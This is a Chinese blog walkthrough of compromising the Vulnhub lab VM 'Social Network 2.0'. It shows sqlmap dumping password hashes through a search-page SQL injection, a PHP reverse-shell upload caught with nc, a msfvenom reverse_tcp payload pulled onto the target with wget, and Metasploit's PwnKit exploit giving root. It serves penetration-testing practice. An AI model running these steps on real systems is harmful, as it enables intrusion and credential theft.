首页 > 其他分享 >Vulnhub之 BoredHackerBlog: Social Network 2.0靶机详细测试过程

Vulnhub之 BoredHackerBlog: Social Network 2.0靶机详细测试过程

时间：2023-04-23 14:44:35浏览次数：44  
标签：BoredHackerBlog Network -- kali 56.169 192.168 user root Vulnhub

Socnet

作者：jason huawen

靶机信息

名称：BoredHackerBlog: Social Network 2.0

地址：

https://www.vulnhub.com/entry/boredhackerblog-social-network-20,455/

识别目标主机IP地址

(kali㉿kali)-[~/Desktop/Vulnhub/Socnet]
└─$ sudo netdiscover -i eth1 -r 192.168.56.0/24
Currently scanning: 192.168.56.0/24   |   Screen View: Unique Hosts                                                                                        
                                                                                                                                                            
 3 Captured ARP Req/Rep packets, from 3 hosts.   Total size: 180                                                                                            
 _____________________________________________________________________________
   IP            At MAC Address     Count     Len  MAC Vendor / Hostname      
 -----------------------------------------------------------------------------
 192.168.56.1    0a:00:27:00:00:11      1      60  Unknown vendor                                                                                           
 192.168.56.100  08:00:27:26:b1:cb      1      60  PCS Systemtechnik GmbH                                                                                   
 192.168.56.169  08:00:27:5b:b3:1b      1      60  PCS Systemtechnik GmbH

利用Kali Linux的netdiscover工具识别目标主机的IP地址为192.168.56.169

NMAP扫描

┌──(kali㉿kali)-[~/Desktop/Vulnhub/Socnet]
└─$ sudo nmap -sS -sV -sC -p- 192.168.56.169 -oN nmap_full_scan
Starting Nmap 7.92 ( https://nmap.org ) at 2023-04-22 21:56 EDT
Nmap scan report for bogon (192.168.56.169)
Host is up (0.00040s latency).
Not shown: 65532 closed tcp ports (reset)
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 7.6p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 e5:d3:4e:54:fe:66:3e:f3:b2:a5:4b:51:9f:5f:f9:c6 (RSA)
|   256 de:86:ef:76:93:63:74:83:00:b1:a3:b8:c2:4c:8f:58 (ECDSA)
|_  256 b5:ec:f1:1e:9a:5a:5c:d7:02:3a:9e:1b:f7:c8:b4:53 (ED25519)
80/tcp   open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Social Network
| http-cookie-flags: 
|   /: 
|     PHPSESSID: 
|_      httponly flag not set
8000/tcp open  http    BaseHTTPServer 0.3 (Python 2.7.15rc1)
|_http-server-header: BaseHTTP/0.3 Python/2.7.15rc1
|_xmlrpc-methods: XMLRPC instance doesn't support introspection.
|_http-title: Error response
MAC Address: 08:00:27:5B:B3:1B (Oracle VirtualBox virtual NIC)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 12.76 seconds

NMAP扫描结果表明目标主机有3个开放端口：22（ssh)、80(http)、8000(http)

获得Shell

┌──(kali㉿kali)-[~/Desktop/Vulnhub/Socnet]
└─$ nikto -h http://192.168.56.169
- Nikto v2.1.6
---------------------------------------------------------------------------
+ Target IP:          192.168.56.169
+ Target Hostname:    192.168.56.169
+ Target Port:        80
+ Start Time:         2023-04-22 22:00:39 (GMT-4)
---------------------------------------------------------------------------
+ Server: Apache/2.4.29 (Ubuntu)
+ The anti-clickjacking X-Frame-Options header is not present.
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
+ Cookie PHPSESSID created without the httponly flag
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ Apache/2.4.29 appears to be outdated (current is at least Apache/2.4.37). Apache 2.2.34 is the EOL for the 2.x branch.
+ Web Server returns a valid response with junk HTTP methods, this may cause false positives.
+ OSVDB-3268: /data/: Directory indexing found.
+ OSVDB-3092: /data/: This might be interesting...
+ OSVDB-3268: /includes/: Directory indexing found.
+ OSVDB-3092: /includes/: This might be interesting...
+ OSVDB-3268: /database/: Directory indexing found.
+ OSVDB-3093: /database/: Databases? Really??
+ OSVDB-3268: /images/: Directory indexing found.
+ OSVDB-3233: /icons/README: Apache default file found.
+ 7915 requests: 0 error(s) and 14 item(s) reported on remote host
+ End Time:           2023-04-22 22:01:42 (GMT-4) (63 seconds)
---------------------------------------------------------------------------

/databases/目录中有2个sql文件，将其下载到本地

┌──(kali㉿kali)-[~/Desktop/Vulnhub/Socnet]
└─$ cat DML.sql 
INSERT INTO users(user_firstname, user_lastname, user_password, user_email, user_gender, user_birthdate)
       VALUES ("Armin", "Virgil", "[email protected]", "M", "2001-02-05");
INSERT INTO users(user_firstname, user_lastname, user_nickname, user_password, user_email, user_gender, user_birthdate, user_status)
       VALUES ("Paul", "James", "Pynch", "[email protected]", "M", "1998-12-19", "S");
INSERT INTO users(user_firstname, user_lastname, user_password, user_email, user_gender, user_birthdate)
       VALUES ("Chris", "Wilson", "[email protected]", "M", "1996-01-18");
INSERT INTO users(user_firstname, user_lastname, user_password, user_email, user_gender, user_birthdate, user_status)
       VALUES ("Rory", "Blue", "[email protected]", "F", "1994-04-18", "M");
INSERT INTO users(user_firstname, user_lastname, user_password, user_email, user_gender, user_birthdate)
       VALUES ("Andrea", "Surman", "[email protected]", "M", "1994-06-06");

Insert语句中，并没有密码值，有点奇怪。

┌──(kali㉿kali)-[~/Desktop/Vulnhub/Socnet]
└─$ gobuster dir -u http://192.168.56.169 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x .php,.html,.js,.txt,.js,.bak        
===============================================================
Gobuster v3.5
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://192.168.56.169
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.5
[+] Extensions:              php,html,js,txt,bak
[+] Timeout:                 10s
===============================================================
2023/04/22 22:06:30 Starting gobuster in directory enumeration mode
===============================================================
/.php                 (Status: 403) [Size: 293]
/images               (Status: 301) [Size: 317] [--> http://192.168.56.169/images/]
/.html                (Status: 403) [Size: 294]
/index.php            (Status: 200) [Size: 10609]
/search.php           (Status: 302) [Size: 1490] [--> index.php]
/home.php             (Status: 302) [Size: 4234] [--> index.php]
/resources            (Status: 301) [Size: 320] [--> http://192.168.56.169/resources/]
/profile.php          (Status: 302) [Size: 2845] [--> index.php]
/data                 (Status: 301) [Size: 315] [--> http://192.168.56.169/data/]
/includes             (Status: 301) [Size: 319] [--> http://192.168.56.169/includes/]
/friends.php          (Status: 302) [Size: 1669] [--> index.php]
/database             (Status: 301) [Size: 319] [--> http://192.168.56.169/database/]
/logout.php           (Status: 302) [Size: 0] [--> index.php]
/functions            (Status: 301) [Size: 320] [--> http://192.168.56.169/functions/]
/requests.php         (Status: 302) [Size: 1719] [--> index.php]
/.php                 (Status: 403) [Size: 293]
/.html                (Status: 403) [Size: 294]
/server-status        (Status: 403) [Size: 302]
Progress: 1322305 / 1323366 (99.92%)
===============================================================

Gobuster工具没有扫描出有价值的信息。

┌──(kali㉿kali)-[~/Desktop/Vulnhub/Socnet]
└─$ curl http://192.168.56.169:8000/     
<head>
<title>Error response</title>
</head>
<body>
<h1>Error response</h1>
<p>Error code 501.
<p>Message: Unsupported method ('GET').
<p>Error code explanation: 501 = Server does not support this operation.
</body>

不支持GET方法？那用burpsuite拦截请求，修改为POST

但是返回是空的，没有任何内容

利用Gobuster工具，并且这只-m 请求方法参数，对8000端口进行扫描

注册一个新用户，然后登陆，有个搜索功能，貌似有SQL注入漏洞，用burpsuite拦截请求，并存储为文件

http://192.168.56.169/search.php?location=emails&query=test

(kali㉿kali)-[~/Desktop/Vulnhub/Socnet]
└─$ sqlmap -r req.txt --level=3

经测试，目标主机存在SQL注入漏洞

─(kali㉿kali)-[~/Desktop/Vulnhub/Socnet]
└─$ sqlmap -r req.txt --level=3 --dbs
available databases [5]:
[*] information_schema
[*] mysql
[*] performance_schema
[*] socialnetwork
[*] sys


─(kali㉿kali)-[~/Desktop/Vulnhub/Socnet]
└─$ sqlmap -r req.txt --level=3 -D socialnetwork --tables
Database: socialnetwork
[4 tables]
+------------+
| friendship |
| posts      |
| user_phone |
| users      |
+------------+


─(kali㉿kali)-[~/Desktop/Vulnhub/Socnet]
└─$ sqlmap -r req.txt --level=3 -D socialnetwork -T users --columns
Database: socialnetwork
Table: users
[11 columns]
+----------------+--------------+
| Column         | Type         |
+----------------+--------------+
| user_about     | text         |
| user_birthdate | date         |
| user_email     | varchar(255) |
| user_firstname | varchar(20)  |
| user_gender    | char(1)      |
| user_hometown  | varchar(255) |
| user_id        | int(11)      |
| user_lastname  | varchar(20)  |
| user_nickname  | varchar(20)  |
| user_password  | varchar(255) |
| user_status    | char(1)      |
+----------------+--------------+


─(kali㉿kali)-[~/Desktop/Vulnhub/Socnet]
└─$ sqlmap -r req.txt --level=3 -D socialnetwork -T users -C user_email,user_password --dumpTable: users
[3 entries]
+------------------------+----------------------------------+
| user_email             | user_password                    |
+------------------------+----------------------------------+
| [email protected]    | 21232f297a57a5a743894a0e4a801fc3 |
| [email protected] | 5d9c68c6c50ed3d02a2fcf54f63993b6 |
| [email protected]          | e10adc3949ba59abbe56e057f20f883e |
+------------------------+----------------------------------+

用在线网站解密，[email protected]的密码为admin,成功登陆，在profile上可以上传图片，看能否将shell.php上传

没有任何过滤机制，成功上传shell.php文件，拿到目标主机反弹的shell

┌──(kali㉿kali)-[~/Desktop/Vulnhub/Socnet]
└─$ sudo nc -nlvp 5555                                                                      
[sudo] password for kali: 
listening on [any] 5555 ...
connect to [192.168.56.230] from (UNKNOWN) [192.168.56.169] 38434
Linux socnet2 4.15.0-38-generic #41-Ubuntu SMP Wed Oct 10 10:59:38 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux
 02:40:11 up 47 min,  0 users,  load average: 0.05, 0.31, 0.75
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$ which python
/usr/bin/python
$ python -c 'import pty;pty.spawn("/bin/bash")'
www-data@socnet2:/$ cd /home
cd /home
www-data@socnet2:/home$ ls -alh
ls -alh
total 12K
drwxr-xr-x  3 root   root   4.0K Oct 29  2018 .
drwxr-xr-x 25 root   root   4.0K Oct 29  2018 ..
drwxr-xr-x  6 socnet socnet 4.0K Oct 29  2018 socnet

提权

──(kali㉿kali)-[~/Desktop/Vulnhub/Socnet]
└─$ msfvenom -p  linux/x86/meterpreter/reverse_tcp  LHOST=192.168.56.230 LPORT=6666 -f elf -o escalate.elf

创建payload后，将其上传到目标主机/tmp目录下

www-data@socnet2:/tmp$ wget http://192.168.56.230:8000/escalate.elf
wget http://192.168.56.230:8000/escalate.elf
--2023-04-23 02:55:00--  http://192.168.56.230:8000/escalate.elf
Connecting to 192.168.56.230:8000... connected.
HTTP request sent, awaiting response... 200 OK
Length: 207 [application/octet-stream]
Saving to: 'escalate.elf'

escalate.elf        100%[===================>]     207  --.-KB/s    in 0s      

2023-04-23 02:55:00 (39.3 MB/s) - 'escalate.elf' saved [207/207]

www-data@socnet2:/tmp$ chmod +x escalate.elf
chmod +x escalate.elf

执行该文件得到meterpreter会话，然后利用suggester定位可以提权的模块

msf6 exploit(multi/handler) > use post/multi/recon/local_exploit_suggester
msf6 post(multi/recon/local_exploit_suggester) > show options 

Module options (post/multi/recon/local_exploit_suggester):

   Name             Current Setting  Required  Description
   ----             ---------------  --------  -----------
   SESSION                           yes       The session to run this module on
   SHOWDESCRIPTION  false            yes       Displays a detailed description for the available exploits

msf6 post(multi/recon/local_exploit_suggester) > set SESSION 1
SESSION => 1
msf6 post(multi/recon/local_exploit_suggester) > run

[*] 192.168.56.169 - Collecting local exploits for x86/linux...
[*] 192.168.56.169 - 167 exploit checks are being tried...
[+] 192.168.56.169 - exploit/linux/local/cve_2021_4034_pwnkit_lpe_pkexec: The target is vulnerable.
[+] 192.168.56.169 - exploit/linux/local/nested_namespace_idmap_limit_priv_esc: The target appears to be vulnerable.
[+] 192.168.56.169 - exploit/linux/local/netfilter_priv_esc_ipv4: The target appears to be vulnerable.
[+] 192.168.56.169 - exploit/linux/local/pkexec: The service is running, but could not be validated.
[+] 192.168.56.169 - exploit/linux/local/su_login: The target appears to be vulnerable.
[*] Running check method for exploit 48 / 48
[*] 192.168.56.169 - Valid modules for session 1:
============================

 #   Name                                                               Potentially Vulnerable?  Check Result
 -   ----                                                               -----------------------  ------------
 1   exploit/linux/local/cve_2021_4034_pwnkit_lpe_pkexec                Yes                      The target is vulnerable.


msf6 post(multi/recon/local_exploit_suggester) > use exploit/linux/local/cve_2021_4034_pwnkit_lpe_pkexec
[*] No payload configured, defaulting to linux/x64/meterpreter/reverse_tcp
msf6 exploit(linux/local/cve_2021_4034_pwnkit_lpe_pkexec) > show options 

Module options (exploit/linux/local/cve_2021_4034_pwnkit_lpe_pkexec):

   Name          Current Setting  Required  Description
   ----          ---------------  --------  -----------
   PKEXEC_PATH                    no        The path to pkexec binary
   SESSION                        yes       The session to run this module on
   WRITABLE_DIR  /tmp             yes       A directory where we can write files


Payload options (linux/x64/meterpreter/reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  10.0.2.15        yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   x86_64


msf6 exploit(linux/local/cve_2021_4034_pwnkit_lpe_pkexec) > set LHOST 192.168.56.230
LHOST => 192.168.56.230
msf6 exploit(linux/local/cve_2021_4034_pwnkit_lpe_pkexec) > set LPORT 8888
LPORT => 8888
msf6 exploit(linux/local/cve_2021_4034_pwnkit_lpe_pkexec) > set SESSION 1
SESSION => 1
msf6 exploit(linux/local/cve_2021_4034_pwnkit_lpe_pkexec) > run

[*] Started reverse TCP handler on 192.168.56.230:8888 
[*] Running automatic check ("set AutoCheck false" to disable)
[!] Verify cleanup of /tmp/.dmofmj
[+] The target is vulnerable.
[*] Writing '/tmp/.ebvnqpec/rqmsyuzae/rqmsyuzae.so' (548 bytes) ...
[!] Verify cleanup of /tmp/.ebvnqpec
[*] Sending stage (3020772 bytes) to 192.168.56.169
[+] Deleted /tmp/.ebvnqpec/rqmsyuzae/rqmsyuzae.so
[+] Deleted /tmp/.ebvnqpec/.omnoepjvoqxi
[+] Deleted /tmp/.ebvnqpec
[*] Meterpreter session 2 opened (192.168.56.230:8888 -> 192.168.56.169:33970) at 2023-04-23 02:30:11 -0400

meterpreter > shell
Process 1899 created.
Channel 1 created.
id
uid=0(root) gid=0(root) groups=0(root),33(www-data)
cd /root
ls -alh
total 32K
drwx------  4 root root 4.0K Oct 29  2018 .
drwxr-xr-x 25 root root 4.0K Oct 29  2018 ..
-rw-------  1 root root    5 Oct 29  2018 .bash_history
-rw-r--r--  1 root root 3.1K Apr  9  2018 .bashrc
drwxr-xr-x  3 root root 4.0K Oct 29  2018 .local
-rw-------  1 root root  128 Oct 29  2018 .mysql_history
-rw-r--r--  1 root root  148 Aug 17  2015 .profile
drwx------  2 root root 4.0K Oct 29  2018 .ssh

至此拿到了root shell和root flag

标签：BoredHackerBlog,Network,--,kali,56.169,192.168,user,root,Vulnhub
From： https://www.cnblogs.com/jason-huawen/p/17346511.html

相关文章

  • kubenetes pod networ flannel network
     kubectlapply-fhttps://raw.githubusercontent.com/coreos/flannel/master/Documentation/kube-flannel.ymlhttps://github.com/flannel-io/flannel/blob/master/Documentation/kube-flannel.ymlkubeadminit\--kubernetes-version=v1.23.5 \--image-repositoryre......
  • Unlock the Power of High-Performance Networking with the IPQ9554
    UnlockthePowerofHigh-PerformanceNetworkingwiththeIPQ9554Intoday'sworld,reliableandhigh-speedinternetconnectivityisessentialforeverythingfromonlinegamingandstreamingtoremoteworkandlearning.Whetheryou'reaconsumer......
  • vulnhub靶场之ADROIT: 1.0.1
    准备：攻击机：虚拟机kali、本机win10。靶机：Adroit:1.0.1，下载地址：https://download.vulnhub.com/adroit/Adroit-v1.0.1.ova，下载后直接vbox打开即可。知识点：shell反弹（jar）、sql注入、简单的代码编写、逆向、dns解析。这个靶场比较推荐，因为之前做的大都是python、php的，这种java类的......
  • Vulnhub之Harrison靶机详细测试过程（提权成功）
    Harrison作者：jasonhuawen靶机信息名称:SP:harrison地址：https://www.vulnhub.com/entry/sp-harrison,302/识别目标主机IP地址─(kali㉿kali)-[~/Vulnhub/Harrison]└─$sudonetdiscover-ieth1-r192.168.56.0/24Currentlyscanning:Finished!|ScreenView......
  • Vulnhub之Healthcare靶机详细测试过程
    Healthcare作者:jasonhuawen靶机信息名称：地址：识别目标主机IP地址─(kali㉿kali)-[~/Vulnhub/Healthcare]└─$sudonetdiscover-ieth1-r192.168.56.0/24Currentlyscanning:192.168.56.0/24|ScreenView:UniqueHosts......
  • 教我怎么用docker的network
    Docker提供了一种为容器创建和管理网络以相互通信的方法。创建Docker网络有多种方法，最简单的方法是使用dockernetworkcreate命令。此命令创建一个具有指定名称和驱动程序的新网络。驱动程序指定网络上的容器如何相互通信。最常见的驱动程序是桥接驱动程序，它用于为单个......
  • Vulnhub之HF 2019靶机详细测试过程
    HF2019作者：jasonhuawen靶机信息名称：HackerFest:2019地址：https://www.vulnhub.com/entry/hacker-fest-2019,378/识别目标主机IP地址将虚拟机镜像导入到VirtualBox中，并设置网络模式为host-only,然后启动KaliLinux以及目标主机（虚拟机）：(kali㉿kali)-[~/Vulnhub/HF2019]......
  • CentOS网卡无法启动返回'Failed to start LSB：Bring up/down networking.'
    装了一台虚机，配置docker服务的时候发现忘了开CPU虚拟化，关机开启后再登录，发现网卡down了，重启网卡报错。1.journalctl-ex  #查看日志，发现返回错误'FailedtostartLSB：Bringup/downnetworking.'；2.vi/var/long/messages  #再查看系统日志，发现有关于NetworkManager的信......
  • VulnHub-Tomato: 1
    靶机地址：https://www.vulnhub.com/entry/tomato-1,557/目标：Gettherootshelli.e.(root@localhost:~#)andthenobtainflagunder/root).一、信息收集用arp-scan探测网段内目标靶机的IP，得到目标靶机的IP为192.168.11.137arp-scan-l┌──(root㉿kali)-[~]└─#......
  • VulnHub-DC: 2
    靶机地址：https://www.vulnhub.com/entry/dc-2,311/目标：therearefiveflagsincludingthefinalflag.theonlyflagthatreallycounts,isthefinalflag.主机信息Kali：192.168.11.131DC9：192.168.11.138渗透过程1、主机探测先进行主机探测，查找靶机的IP地址a......

赞助商

阅读排行

网站主页关于我们联系我们网站地图

本网站内容转载自其他媒体，侵权联系[admin##ips99.com]。

Copyright © 2020-2023 IPS99 版权所有 IPS99